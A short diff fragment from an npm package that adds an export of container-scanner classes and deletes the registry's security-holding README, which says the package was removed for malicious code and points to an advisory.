+ module.exports = { MultiContainerScanner, ContainerScanner };
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.